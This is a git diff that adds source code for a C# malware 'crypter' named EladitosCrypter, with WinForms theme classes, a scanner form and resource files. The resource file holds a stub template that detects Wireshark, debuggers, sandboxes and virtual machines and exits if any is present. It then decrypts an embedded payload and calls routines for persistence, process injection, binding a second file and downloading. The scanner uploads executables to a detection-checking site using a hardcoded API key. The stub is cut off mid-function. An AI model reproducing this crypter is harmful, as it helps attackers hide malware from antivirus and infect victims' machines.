EventArgs e) + { + + } + } +} + diff --git a/C# (MCRYPT/EladitosCrypter/Form1.resx b/C# (MCRYPT/EladitosCrypter/Form1.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/C# (MCRYPT/EladitosCrypter/Form1.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/C# (MCRYPT/EladitosCrypter/Program.cs b/C# (MCRYPT/EladitosCrypter/Program.cs new file mode 100644 index 0000000..9441973 --- /dev/null +++ b/C# (MCRYPT/EladitosCrypter/Program.cs @@ -0,0 +1,18 @@ +namespace EladitosCrypter +{ + using System; + using System.Windows.Forms; + + internal static class Program + { + // Methods + [STAThread] + private static void Main() + { + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new Form1()); + } + } +} + diff --git a/C# (MCRYPT/EladitosCrypter/Scanner.cs b/C# (MCRYPT/EladitosCrypter/Scanner.cs new file mode 100644 index 0000000..4969c36 --- /dev/null +++ b/C# (MCRYPT/EladitosCrypter/Scanner.cs @@ -0,0 +1,251 @@ +namespace EladitosCrypter +{ + using reFUDme_Scanner; + using System; + using System.Collections.Generic; + using System.Collections.Specialized; + using System.ComponentModel; + using System.Drawing; + using System.Globalization; + using System.IO; + using System.Net; + using System.Text; + using System.Text.RegularExpressions; + using System.Windows.Forms; + + public class Scanner : Form + { + // Fields + private IContainer components = null; + private InstaButton instaButton1; + private InstaButton instaButton2; + private InstaButton instaButton3; + private InstaTheme iscannther; + private InstaLabel label2; + public string loc = ""; + public static string Scanapi = "0a6fd6b56d9d39f4257f8316a2e4d07f"; + private static string Scanurl = "http://s2.razorscanner.com/public_api.php"; + public static string Scanusername = "killamuvz"; + private TextBox txtURL; + private XtendPicBox xtendPicBox1; + + // Methods + public Scanner() + { + this.InitializeComponent(); + } + + protected override void Dispose(bool disposing) + { + if (disposing && (this.components != null)) + { + this.components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.iscannther = new InstaTheme(); + this.instaButton3 = new InstaButton(); + this.txtURL = new TextBox(); + this.instaButton1 = new InstaButton(); + this.instaButton2 = new InstaButton(); + this.label2 = new InstaLabel(); + this.xtendPicBox1 = new XtendPicBox(); + base.SuspendLayout(); + this.iscannther.Dock = DockStyle.Fill; + this.iscannther.Font = new Font("Verdana", 7f); + this.iscannther.ForeColor = Color.FromArgb(0x4c, 160, 190); + this.iscannther.Location = new Point(0, 0); + this.iscannther.Name = "iscannther"; + this.iscannther.ShowIcon = false; + this.iscannther.Size = new Size(0x224, 0x1eb); + this.iscannther.TabIndex = 0; + this.iscannther.Text = "Scanner"; + this.instaButton3.Font = new Font("Verdana", 7f); + this.instaButton3.ForeColor = Color.FromArgb(0xf9, 0xf9, 0xf9); + this.instaButton3.Location = new Point(0x1f1, 0); + this.instaButton3.Name = "instaButton3"; + this.instaButton3.Size = new Size(0x12, 0x10); + this.instaButton3.TabIndex = 0x17; + this.instaButton3.Text = "X"; + this.instaButton3.Click += new EventHandler(this.instaButton3_Click); + this.txtURL.BackColor = Color.FromArgb(40, 40, 40); + this.txtURL.BorderStyle = BorderStyle.FixedSingle; + this.txtURL.ForeColor = Color.FromArgb(0xf9, 0xf9, 0xf9); + this.txtURL.Location = new Point(30, 0x1b0); + this.txtURL.Name = "txtURL"; + this.txtURL.Size = new Size(0x132, 20); + this.txtURL.TabIndex = 0x2f; + this.txtURL.TextChanged += new EventHandler(this.txtURL_TextChanged); + this.instaButton1.Font = new Font("Verdana", 7f); + this.instaButton1.ForeColor = Color.FromArgb(0xf9, 0xf9, 0xf9); + this.instaButton1.Location = new Point(0x167, 0x1af); + this.instaButton1.Name = "instaButton1"; + this.instaButton1.Size = new Size(0x4b, 0x17); + this.instaButton1.TabIndex = 0x31; + this.instaButton1.Text = "Load"; + this.instaButton1.Click += new EventHandler(this.instaButton1_Click); + this.instaButton2.Font = new Font("Verdana", 7f); + this.instaButton2.ForeColor = Color.FromArgb(0xf9, 0xf9, 0xf9); + this.instaButton2.Location = new Point(440, 0x1af); + this.instaButton2.Name = "instaButton2"; + this.instaButton2.Size = new Size(0x4b, 0x17); + this.instaButton2.TabIndex = 50; + this.instaButton2.Text = "Scan"; + this.instaButton2.Click += new EventHandler(this.instaButton2_Click); + this.label2.BackColor = Color.FromArgb(50, 50, 50); + this.label2.Font = new Font("Verdana", 7f); + this.label2.ForeColor = Color.FromArgb(0x4c, 160, 190); + this.label2.Location = new Point(0x167, 0x1ce); + this.label2.Name = "label2"; + this.label2.Size = new Size(0x86, 0x13); + this.label2.TabIndex = 0x33; + this.label2.Text = "Please Load File"; + this.xtendPicBox1.AutoScroll = true; + this.xtendPicBox1.BackColor = Color.FromArgb(50, 50, 50); + this.xtendPicBox1.Location = new Point(30, 0x23); + this.xtendPicBox1.Name = "xtendPicBox1"; + this.xtendPicBox1.PictureFile = ""; + this.xtendPicBox1.Size = new Size(0x1e5, 390); + this.xtendPicBox1.TabIndex = 0x34; + base.AutoScaleDimensions = new SizeF(6f, 13f); +// base.AutoScaleMode = AutoScaleMode.Font; + base.ClientSize = new Size(0x224, 0x1eb); + base.Controls.Add(this.xtendPicBox1); + base.Controls.Add(this.label2); + base.Controls.Add(this.instaButton2); + base.Controls.Add(this.instaButton1); + base.Controls.Add(this.txtURL); + base.Controls.Add(this.instaButton3); + base.Controls.Add(this.iscannther); +// base.FormBorderStyle = FormBorderStyle.None; + base.Name = "Scanner"; + this.Text = "e"; + base.ResumeLayout(false); + base.PerformLayout(); + } + + private void instaButton1_Click(object sender, EventArgs e) + { + OpenFileDialog dialog = new OpenFileDialog { + Filter = ".exe|*.exe", + ShowHelp = true, + Title = "Load File to Scan" + }; + if (dialog.ShowDialog() == DialogResult.OK) + { + this.loc = dialog.FileName; + this.label2.Text = "File Loaded."; + this.label2.Refresh(); + } + } + + private void instaButton2_Click(object sender, EventArgs e) + { + if (this.loc == string.Empty) + { + this.label2.Text = "No file loaded."; + this.label2.Refresh(); + } + else + { + this.label2.Text = "Scanning..."; + this.label2.Refresh(); + this.Scan(this.loc); + this.label2.Text = "Finished."; + } + } + + private void instaButton3_Click(object sender, EventArgs e) + { + base.Close(); + } + + private void Scan(string file) + { + try + { + using (FileStream stream = System.IO.File.Open(file, FileMode.Open)) + { + NameValueCollection values = new NameValueCollection(); + UploadFile file2 = new UploadFile { + ContentType = "application/x-msdownload", + Filename = Path.GetFileName(file), + Name = "uploadedfile", + Stream = stream + }; + values.Add("upload_file", "upload_file"); + Console.WriteLine("Scanning..."); + byte[] bytes = UploadFiles("http://www.refud.me/scan.php", new UploadFile[] { file2 }, values); + string input = Encoding.UTF8.GetString(bytes); + string tempFileName = Path.GetTempFileName(); + string str3 = new Regex("location = \"(.*?)\";").Match(input).Groups[1].Value; + byte[] buffer2 = new WebClient().DownloadData(str3.Replace(".php?id=", "/") + ".png"); + System.IO.File.WriteAllBytes(tempFileName, buffer2); + this.xtendPicBox1.PictureFile = tempFileName; + this.txtURL.Text = str3; + } + } + catch (Exception exception) + { + MessageBox.Show(exception.Message); + } + } + + private void txtURL_TextChanged(object sender, EventArgs e) + { + } + + public static byte[] UploadFiles(string address, IEnumerable files, NameValueCollection values) + { + byte[] buffer3; + WebRequest request = WebRequest.Create(address); + request.Method = "POST"; + string str = "---------------------------" + DateTime.Now.Ticks.ToString("x", NumberFormatInfo.InvariantInfo); + request.ContentType = "multipart/form-data; boundary=" + str; + str = "--" + str; + using (Stream stream = request.GetRequestStream()) + { + byte[] buffer; + foreach (string str2 in values.Keys) + { + buffer = Encoding.ASCII.GetBytes(str + Environment.NewLine); + stream.Write(buffer, 0, buffer.Length); + buffer = Encoding.ASCII.GetBytes(string.Format("Content-Disposition: form-data; name=\"{0}\"{1}{1}", str2, Environment.NewLine)); + stream.Write(buffer, 0, buffer.Length); + buffer = Encoding.UTF8.GetBytes(values[str2] + Environment.NewLine); + stream.Write(buffer, 0, buffer.Length); + } + foreach (UploadFile file in files) + { + buffer = Encoding.ASCII.GetBytes(str + Environment.NewLine); + stream.Write(buffer, 0, buffer.Length); + buffer = Encoding.UTF8.GetBytes(string.Format("Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"{2}", file.Name, file.Filename, Environment.NewLine)); + stream.Write(buffer, 0, buffer.Length); + buffer = Encoding.ASCII.GetBytes(string.Format("Content-Type: {0}{1}{1}", file.ContentType, Environment.NewLine)); + stream.Write(buffer, 0, buffer.Length); + file.Stream.CopyTo(stream); + buffer = Encoding.ASCII.GetBytes(Environment.NewLine); + stream.Write(buffer, 0, buffer.Length); + } + byte[] bytes = Encoding.ASCII.GetBytes(str + "--"); + stream.Write(bytes, 0, bytes.Length); + } + using (WebResponse response = request.GetResponse()) + { + using (Stream stream2 = response.GetResponseStream()) + { + using (MemoryStream stream3 = new MemoryStream()) + { + stream2.CopyTo(stream3); + buffer3 = stream3.ToArray(); + } + } + } + return buffer3; + } + } +} + diff --git a/C# (MCRYPT/EladitosCrypter/UploadFile.cs b/C# (MCRYPT/EladitosCrypter/UploadFile.cs new file mode 100644 index 0000000..b5f04b5 --- /dev/null +++ b/C# (MCRYPT/EladitosCrypter/UploadFile.cs @@ -0,0 +1,25 @@ +namespace EladitosCrypter +{ + using System; + using System.IO; + using System.Runtime.CompilerServices; + + public class UploadFile + { + // Methods + public UploadFile() + { + this.ContentType = "application/octet-stream"; + } + + // Properties + public string ContentType { get; set; } + + public string Filename { get; set; } + + public string Name { get; set; } + + public System.IO.Stream Stream { get; set; } + } +} + diff --git a/C# (MCRYPT/InstaTheme.cs b/C# (MCRYPT/InstaTheme.cs new file mode 100644 index 0000000..542c052 --- /dev/null +++ b/C# (MCRYPT/InstaTheme.cs @@ -0,0 +1,517 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Windows.Forms; +using System.Drawing; +using System.Drawing.Drawing2D; + +//Theme created by DoggyCollin. +//http://www.hackforums.net/member.php?action=profile&uid=1278211 + +internal class InstaTheme : Control +{ + /// + /// Gets or sets the visibility of the icon copied from the parent control. + /// + public bool ShowIcon { get { return _showIcon; } set { _showIcon = value; Invalidate(); } } + private bool _showIcon; + + private Graphics G; + + private Pen borderColor; + private SolidBrush textColor; + private SolidBrush fillheaderColor; + private SolidBrush fillbodyColor; + + private Icon icon; + + public InstaTheme() + { + SetStyle(ControlStyles.AllPaintingInWmPaint | ControlStyles.UserPaint | ControlStyles.ResizeRedraw, true); + borderColor = new Pen(Color.FromArgb(49, 49, 49)); + textColor = new SolidBrush(Color.FromArgb(249, 249, 249)); + fillheaderColor = new SolidBrush(Color.FromArgb(49, 49, 49)); + fillbodyColor = new SolidBrush(Color.FromArgb(212, 212, 212)); + + //Set defaults + Font = new Font("Verdana", 7.0F); + ForeColor = textColor.Color; + } + + protected override void OnHandleCreated(EventArgs e) + { + Dock = DockStyle.Fill; + if (Parent is Form) + { + Form tempWith1 = (Form)Parent; + tempWith1.FormBorderStyle = 0; + tempWith1.BackColor = fillheaderColor.Color; + icon = tempWith1.Icon; + } + base.OnHandleCreated(e); + } + protected override void OnMouseDown(System.Windows.Forms.MouseEventArgs e) + { + if (new Rectangle(Parent.Location.X, Parent.Location.Y, Width, 22).IntersectsWith(new Rectangle(MousePosition.X, MousePosition.Y, 1, 1))) + { + Capture = false; + Message M = Message.Create(Parent.Handle, 161, new IntPtr(2), IntPtr.Zero); + DefWndProc(ref M); + } + base.OnMouseDown(e); + } + + protected override void OnPaintBackground(PaintEventArgs pevent) + { + + } + + protected override void OnPaint(PaintEventArgs e) + { + G = e.Graphics; + G.Clear(BackColor); + + G.DrawRectangle(borderColor, new Rectangle(0, 0, Width, 23)); + G.FillRectangle(fillheaderColor, new Rectangle(1, 1, Width, 23)); + + if (ShowIcon) + { + G.DrawIcon(icon, new Rectangle(5, 6, 12, 12)); + G.DrawString(Text, Font, new SolidBrush(ForeColor), new Point(22, 6)); + } + else + { + G.DrawString(Text, Font, new SolidBrush(ForeColor), new Point(5, 6)); + } + + G.DrawLine(new Pen(Color.FromArgb(249, 249, 249)), 4, 24, Width - 5, 24); + + G.FillRectangle(fillbodyColor, new Rectangle(4, 25, Width - 8, Height - 29)); + + } +} + +internal class InstaButton : Control +{ + private Graphics G; + private bool isMouseDown; + + private Pen borderColor; + private SolidBrush textColor; + private SolidBrush fillColor; + private SolidBrush downColor; + + private StringFormat stringformat; + + public InstaButton() + { + borderColor = new Pen(Color.FromArgb(49, 49, 49)); + textColor = new SolidBrush(Color.FromArgb(249, 249, 249)); + fillColor = new SolidBrush(Color.FromArgb(49, 49, 49)); + downColor = new SolidBrush(Color.FromArgb(78, 123, 160)); + + stringformat = new StringFormat { Alignment = StringAlignment.Center, LineAlignment = StringAlignment.Center }; + + //Set defaults + Font = new Font("Verdana", 7.0F); + ForeColor = textColor.Color; + } + + protected override void OnMouseDown(MouseEventArgs e) + { + isMouseDown = true; + Invalidate(); + } + + protected override void OnMouseUp(MouseEventArgs e) + { + isMouseDown = false; + Invalidate(); + } + + protected override void OnPaint(PaintEventArgs e) + { + G = e.Graphics; + G.Clear(BackColor); + + SolidBrush currentBrush; + + if (isMouseDown) + currentBrush = downColor; + else + currentBrush = fillColor; + + G.DrawRectangle(borderColor, new Rectangle(0, 0, Width, Height)); + G.FillRectangle(currentBrush, new Rectangle(0, 0, Width, Height)); + G.DrawString(Text, Font, new SolidBrush(ForeColor), new Point(Width / 2, Height / 2), stringformat); + } +} + +internal class InstaTabControl : TabControl +{ + private Pen borderColor; + private SolidBrush textColor; + private SolidBrush fillColor; + private SolidBrush downColor; + private SolidBrush fillbodyColor; + + public InstaTabControl() + { + SetStyle(ControlStyles.AllPaintingInWmPaint | ControlStyles.ResizeRedraw | ControlStyles.UserPaint | ControlStyles.DoubleBuffer, true); + DoubleBuffered = true; + SizeMode = TabSizeMode.Fixed; + Alignment = TabAlignment.Left; + ItemSize = new Size(30, 152); + + borderColor = new Pen(Color.FromArgb(49, 49, 49)); + textColor = new SolidBrush(Color.FromArgb(249, 249, 249)); + fillColor = new SolidBrush(Color.FromArgb(49, 49, 49)); + downColor = new SolidBrush(Color.FromArgb(78, 123, 160)); + fillbodyColor = new SolidBrush(Color.FromArgb(212, 212, 212)); + + //Set defaults + Font = new Font("Verdana", 7.0F); + ForeColor = textColor.Color; + } + + protected override void OnPaint(PaintEventArgs e) + { + Bitmap B = new Bitmap(Width, Height); + Graphics G = Graphics.FromImage(B); + G.Clear(fillbodyColor.Color); + + + + for (int i = 0; i <= TabCount - 1; i++) + { + Rectangle x2 = new Rectangle(new Point(GetTabRect(i).Location.X - 2, GetTabRect(i).Location.Y - 2), new Size(GetTabRect(i).Width + 3, GetTabRect(i).Height - 1)); + + if (i == SelectedIndex) + { + G.FillRectangle(downColor, new Rectangle(new Point(x2.Location.X, x2.Location.Y), new Size(GetTabRect(i).Size.Width, GetTabRect(i).Size.Height))); + } + else + { + G.FillRectangle(fillColor, new Rectangle(new Point(x2.Location.X, x2.Location.Y), new Size(GetTabRect(i).Size.Width, GetTabRect(i).Size.Height))); + } + + G.DrawString(TabPages[i].Text, Font, new SolidBrush(ForeColor), new Rectangle(x2.Location.X + 6, x2.Location.Y, x2.Width - 20, x2.Height), new StringFormat + { + LineAlignment = StringAlignment.Center, + Alignment = StringAlignment.Near + }); + } + + + e.Graphics.DrawImage((Image)B.Clone(), 0, 4); + + G.Dispose(); + B.Dispose(); + } + + public override Color BackColor + { + get + { + return fillbodyColor.Color; + } + set + { + base.BackColor = value; + } + } + + protected override void OnControlAdded(ControlEventArgs e) + { + e.Control.BackColor = fillbodyColor.Color; + e.Control.Invalidate(); + } + +} + +internal class InstaProgressBar : Control +{ + /// + /// Value in percentage. + /// + public float Value { get { return _value; } set { _value = value; Invalidate(); } } + private float _value; + + /// + /// Sets or gets the visibility setting for the percentage value. + /// + public bool ShowPercentage { get; set; } + + private Graphics G; + + private Pen borderColor; + private SolidBrush textColor; + private SolidBrush fillColor; + private SolidBrush downColor; + + private StringFormat stringformat; + + public InstaProgressBar() + { + this.SetStyle(ControlStyles.OptimizedDoubleBuffer, true); + + borderColor = new Pen(Color.FromArgb(49, 49, 49)); + textColor = new SolidBrush(Color.FromArgb(249, 249, 249)); + fillColor = new SolidBrush(Color.FromArgb(49, 49, 49)); + downColor = new SolidBrush(Color.FromArgb(78, 123, 160)); + + stringformat = new StringFormat { Alignment = StringAlignment.Center, LineAlignment = StringAlignment.Center }; + ShowPercentage = true; + + //Set defaults + Font = new Font("Verdana", 7.0F); + ForeColor = textColor.Color; + } + + protected override void OnPaint(PaintEventArgs e) + { + G = e.Graphics; + + float percent = ((float)Width / 100) * Value; + + G.DrawRectangle(borderColor, new Rectangle(0, 0, Width, Height)); + G.FillRectangle(fillColor, new Rectangle(0, 0, Width, Height)); + G.FillRectangle(downColor, new Rectangle(2, 2, (int)percent - 4, Height - 4)); + + if (ShowPercentage) + G.DrawString(string.Format("{0}%", Value), Font, new SolidBrush(ForeColor), new Point((Width + 2) / 2, (Height + 2) / 2), stringformat); + } +} + +internal class InstaCheckBox : Control +{ + public bool Checked { get; set; } + public CheckStyleType CheckStyle { get; set; } + + private Graphics G; + + private Pen borderColor; + private SolidBrush textColor; + private SolidBrush fillColor; + private SolidBrush downColor; + + private StringFormat stringformat; + + public InstaCheckBox() + { + borderColor = new Pen(Color.FromArgb(49, 49, 49)); + textColor = new SolidBrush(Color.FromArgb(49, 49, 49)); + fillColor = new SolidBrush(Color.FromArgb(49, 49, 49)); + downColor = new SolidBrush(Color.FromArgb(78, 123, 160)); + + stringformat = new StringFormat { Alignment = StringAlignment.Center, LineAlignment = StringAlignment.Center }; + + + //Set defaults + Font = new Font("Verdana", 7.0F); + ForeColor = textColor.Color; + Checked = true; + CheckStyle = CheckStyleType.Square; + } + + protected override void OnPaint(PaintEventArgs e) + { + G = e.Graphics; + + switch (CheckStyle) + { + case CheckStyleType.Square: + G.DrawRectangle(borderColor, new Rectangle(0, 0, 12, 12)); + G.DrawString(Text, Font, new SolidBrush(ForeColor), 14, 0); + + if (Checked) + G.FillRectangle(downColor, new Rectangle(2, 2, 9, 9)); + break; + case CheckStyleType.Round: + G.DrawEllipse(borderColor, new Rectangle(0, 0, 13, 13)); + G.DrawString(Text, Font, new SolidBrush(ForeColor), 14, 0); + + if (Checked) + G.FillEllipse(downColor, new Rectangle(2, 2, 9, 9)); + break; + case CheckStyleType.Checkmark: + G.DrawRectangle(borderColor, new Rectangle(0, 0, 12, 12)); + G.DrawString(Text, Font, new SolidBrush(ForeColor), 14, 0); + + if (Checked) + { + G.DrawLine(new Pen(downColor.Color, 2), 3, 5, 7, 9); + G.DrawLine(new Pen(downColor.Color, 2), 6, 9, 9, 3); + } + break; + default: + break; + } + } + + protected override void OnMouseClick(MouseEventArgs e) + { + Checked = !Checked; + Invalidate(); + } + + public enum CheckStyleType + { + Square = 0, + Round = 1, + Checkmark = 2 + } +} + +internal class InstaSeperator : Control +{ + public float Thickness { get; set; } + public bool IsVertical { get; set; } + + Graphics G; + + public InstaSeperator() + { + Thickness = 1; + } + + protected override void OnPaint(PaintEventArgs e) + { + G = e.Graphics; + + if (IsVertical) + G.DrawLine(new Pen(Color.FromArgb(78, 123, 160), Thickness), 0, 0, 0, Height); + else + G.DrawLine(new Pen(Color.FromArgb(78, 123, 160), Thickness), 0, 0, Width, 0); + + } +} + +internal class InstaLabel : Control +{ + private Graphics G; + + private SolidBrush textColor; + + public InstaLabel() + { + textColor = new SolidBrush(Color.FromArgb(49, 49, 49)); + + //Set defaults + Font = new Font("Verdana", 7.0F); + ForeColor = textColor.Color; + } + + protected override void OnPaint(PaintEventArgs e) + { + G = e.Graphics; + + G.DrawString(Text, Font, new SolidBrush(ForeColor), 0, 0); + } +} + +public class InstaListView : ListView +{ + public InstaListView() + { + this.DoubleBuffered = true; + this.OwnerDraw = true; + this.MultiSelect = false; + this.FullRowSelect = true; + } + + private Brush white = new SolidBrush(Color.White); + private Brush black = new SolidBrush(Color.Black); + private Pen bluePen = new Pen(Color.FromArgb(78, 123, 160)); + private Pen grayPen = new Pen(Color.FromArgb(49, 49, 49)); + + protected override void OnDrawColumnHeader(DrawListViewColumnHeaderEventArgs e) + { + var textSize = TextRenderer.MeasureText(e.Header.Text, this.Font); + if (e.Header.Width < (int)textSize.Width) + { + e.Header.Width = (e.Header.Width + textSize.Width); + this.Refresh(); + } + + e.Graphics.FillRectangle(new SolidBrush(grayPen.Color), e.Bounds.X, e.Bounds.Y, e.Header.Width, e.Bounds.Height - 3); + e.Graphics.DrawLine(new Pen(white), e.Bounds.X, e.Bounds.Y, e.Bounds.X, e.Bounds.Height - 4); + using (Font font = new Font(this.Font.FontFamily, this.Font.Size, FontStyle.Bold)) + { + e.Graphics.DrawString(e.Header.Text, font, white, e.Bounds.X + ((e.Header.Width / 2) - (textSize.Width / 2)), (e.Bounds.Y / 2)); + } + + if (e.ColumnIndex == (this.Columns.Count - 1)) + { + int newlength = this.Width - (e.Bounds.X + e.Bounds.Width); + e.Graphics.FillRectangle(new SolidBrush(grayPen.Color), (this.Width - newlength), e.Bounds.Y, newlength, e.Bounds.Height - 3); + } + } + + protected override void OnDrawItem(DrawListViewItemEventArgs e) + { + if (e.Item.Selected) + { + Rectangle rowBounds = e.Bounds; + int leftMargin = e.Item.GetBounds(ItemBoundsPortion.Label).Left; + Rectangle bounds = new Rectangle(rowBounds.Left, rowBounds.Top, rowBounds.Width, rowBounds.Height); + e.Graphics.FillRectangle(new SolidBrush(Color.FromArgb(200, bluePen.Color)), bounds.X, bounds.Y, bounds.Width, bounds.Height); + } + else + { + e.DrawDefault = true; + } + } + + protected override void OnDrawSubItem(DrawListViewSubItemEventArgs e) + { + if (e.Item.Selected) + { + Rectangle rowBounds = e.SubItem.Bounds; + Rectangle labelBounds = e.Item.GetBounds(ItemBoundsPortion.Label); + int leftMargin = labelBounds.Left - 1; + Rectangle bounds = new Rectangle(rowBounds.Left + leftMargin, rowBounds.Top, e.ColumnIndex == 0 ? labelBounds.Width : (rowBounds.Width - leftMargin - 1), rowBounds.Height); + TextFormatFlags align = TextFormatFlags.Default; + switch (this.Columns[e.ColumnIndex].TextAlign) + { + case HorizontalAlignment.Right: + align = TextFormatFlags.Right; + break; + case HorizontalAlignment.Center: + align = TextFormatFlags.HorizontalCenter; + break; + default: + align = TextFormatFlags.Left; + break; + } + + TextRenderer.DrawText(e.Graphics, e.SubItem.Text, this.Font, bounds, this.ForeColor, + align | TextFormatFlags.SingleLine | TextFormatFlags.GlyphOverhangPadding | TextFormatFlags.VerticalCenter | TextFormatFlags.WordEllipsis); + } + } + + protected override void OnFontChanged(EventArgs e) + { + base.OnFontChanged(e); + } + + [System.Runtime.InteropServices.DllImport("user32.dll", CharSet = System.Runtime.InteropServices.CharSet.Auto)] + static extern IntPtr SendMessage(IntPtr hWnd, int Msg, int wParam, int lParam); + + protected override void OnSelectedIndexChanged(EventArgs e) + { + base.OnSelectedIndexChanged(e); + SendMessage(Handle, 0x127, 0x10001, 0); + } + protected override void OnEnter(EventArgs e) + { + base.OnEnter(e); + SendMessage(Handle, 0x127, 0x10001, 0); + } + protected override void OnPreviewKeyDown(PreviewKeyDownEventArgs e) + { + base.OnPreviewKeyDown(e); + SendMessage(Handle, 0x127, 0x10001, 0); + } +} \ No newline at end of file diff --git a/C# (MCRYPT/Properties/Resources.Designer.cs b/C# (MCRYPT/Properties/Resources.Designer.cs new file mode 100644 index 0000000..a0e736b --- /dev/null +++ b/C# (MCRYPT/Properties/Resources.Designer.cs @@ -0,0 +1,118 @@ +//------------------------------------------------------------------------------ +// +// Ce code a été généré par un outil. +// Version du runtime :4.0.30319.34209 +// +// Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si +// le code est régénéré. +// +//------------------------------------------------------------------------------ + +namespace EladitosCrypter.Properties { + using System; + + + /// + /// Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées. + /// + // Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder + // à l'aide d'un outil, tel que ResGen ou Visual Studio. + // Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen + // avec l'option /str ou régénérez votre projet VS. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Retourne l'instance ResourceManager mise en cache utilisée par cette classe. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("EladitosCrypter.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Remplace la propriété CurrentUICulture du thread actuel pour toutes + /// les recherches de ressources à l'aide de cette classe de ressource fortement typée. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + + /// + /// Recherche une chaîne localisée semblable à using System; + ///using System.Text; + ///using System.IO; + ///using System.Reflection; + ///using System.Resources; + ///using System.Threading; + ///using System.Diagnostics; + ///using System.Windows.Forms; + ///using System.Runtime.InteropServices; + ///using System.Security.Cryptography; + ///using System.Text.RegularExpressions; + ///using System.Collections.Generic; + ///using System.Management; + ///using System.Reflection; + /// + ///namespace AA1 + /// { + /// internal class AA3 + /// { + /// static void Main(string[] PP1PP2) + /// { + /// [le reste de la chaîne a été tronqué]";. + /// + internal static string Source1 { + get { + return ResourceManager.GetString("Source1", resourceCulture); + } + } + + /// + /// Recherche une chaîne localisée semblable à using System; + ///using System.Text; + ///using System.IO; + ///using System.Reflection; + ///using System.Resources; + ///using System.Windows.Forms; + ///using System.Runtime.InteropServices; + ///using System.Collections.Generic; + ///using System.Drawing; + /// + ///[assembly: AssemblyTitle("[TITLE]")] + ///[assembly: AssemblyDescription("[ASSDESCRIPTION]")] + ///[assembly: AssemblyCompany("[COMPANY]")] + ///[assembly: AssemblyProduct("[PRODUCT]")] + ///[assembly: AssemblyCopyright("[COPYRIGHT]")] + ///[assembly: AssemblyVersion("[VERSION]")] + ///[assembly: Assemb [le reste de la chaîne a été tronqué]";. + /// + internal static string stub { + get { + return ResourceManager.GetString("stub", resourceCulture); + } + } + } +} diff --git a/C# (MCRYPT/Properties/Resources.resx b/C# (MCRYPT/Properties/Resources.resx new file mode 100644 index 0000000..344e223 --- /dev/null +++ b/C# (MCRYPT/Properties/Resources.resx @@ -0,0 +1,791 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + using System; +using System.Text; +using System.IO; +using System.Reflection; +using System.Resources; +using System.Threading; +using System.Diagnostics; +using System.Windows.Forms; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Text.RegularExpressions; +using System.Collections.Generic; +using System.Management; +using System.Reflection; + +namespace AA1 + { + internal class AA3 + { + static void Main(string[] PP1PP2) + { + try + { + Thread.Sleep([SLEEP]); + if([ANTI]) + { + if(DWireshark() || IsDebuggerPresent() || DEmulation() ||DSandboxie() || DVM()) + { + Environment.Exit(0); + } + } + string encKey = "[ENCRYPTION]"; + bool start = [STARTUP]; + bool bind = [BIND]; + bool download = [DOWNLOAD]; + bool message = [MESSAGE]; + bool disable = true; + byte[] bytes = (byte[])new ResourceManager("[RESOURCEFILE]", Assembly.GetExecutingAssembly()).GetObject("[RESNAME]"); + string[] SS1 = Regex.Split(Encoding.Default.GetString(bytes), "MORPHEOUS"); + Assembly lib = AppDomain.CurrentDomain.Load(BB3(Encoding.Default.GetBytes(SS1[1]), encKey)); + byte[] server = BB3(Encoding.Default.GetBytes(SS1[0]), encKey); + foreach(Type t in lib.GetTypes()) + { + if(t.Name == "RunLib") + { + if(start) + { + t.InvokeMember("sup", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{Assembly.GetEntryAssembly().Location,"[SFILE]", "[SNAME]", false}); + } + t.InvokeMember("Inj", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{server, "[INJECT]", [PERSISTENCE] ,false, false,"[SFILE]", PP1PP2}); + if(bind) + { + t.InvokeMember("Bind", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{BB3((byte[])new ResourceManager("[RESOURCEFILE]", Assembly.GetExecutingAssembly()).GetObject("bind"),encKey), "[BINDONCE]"}); + } + if(download) + { + 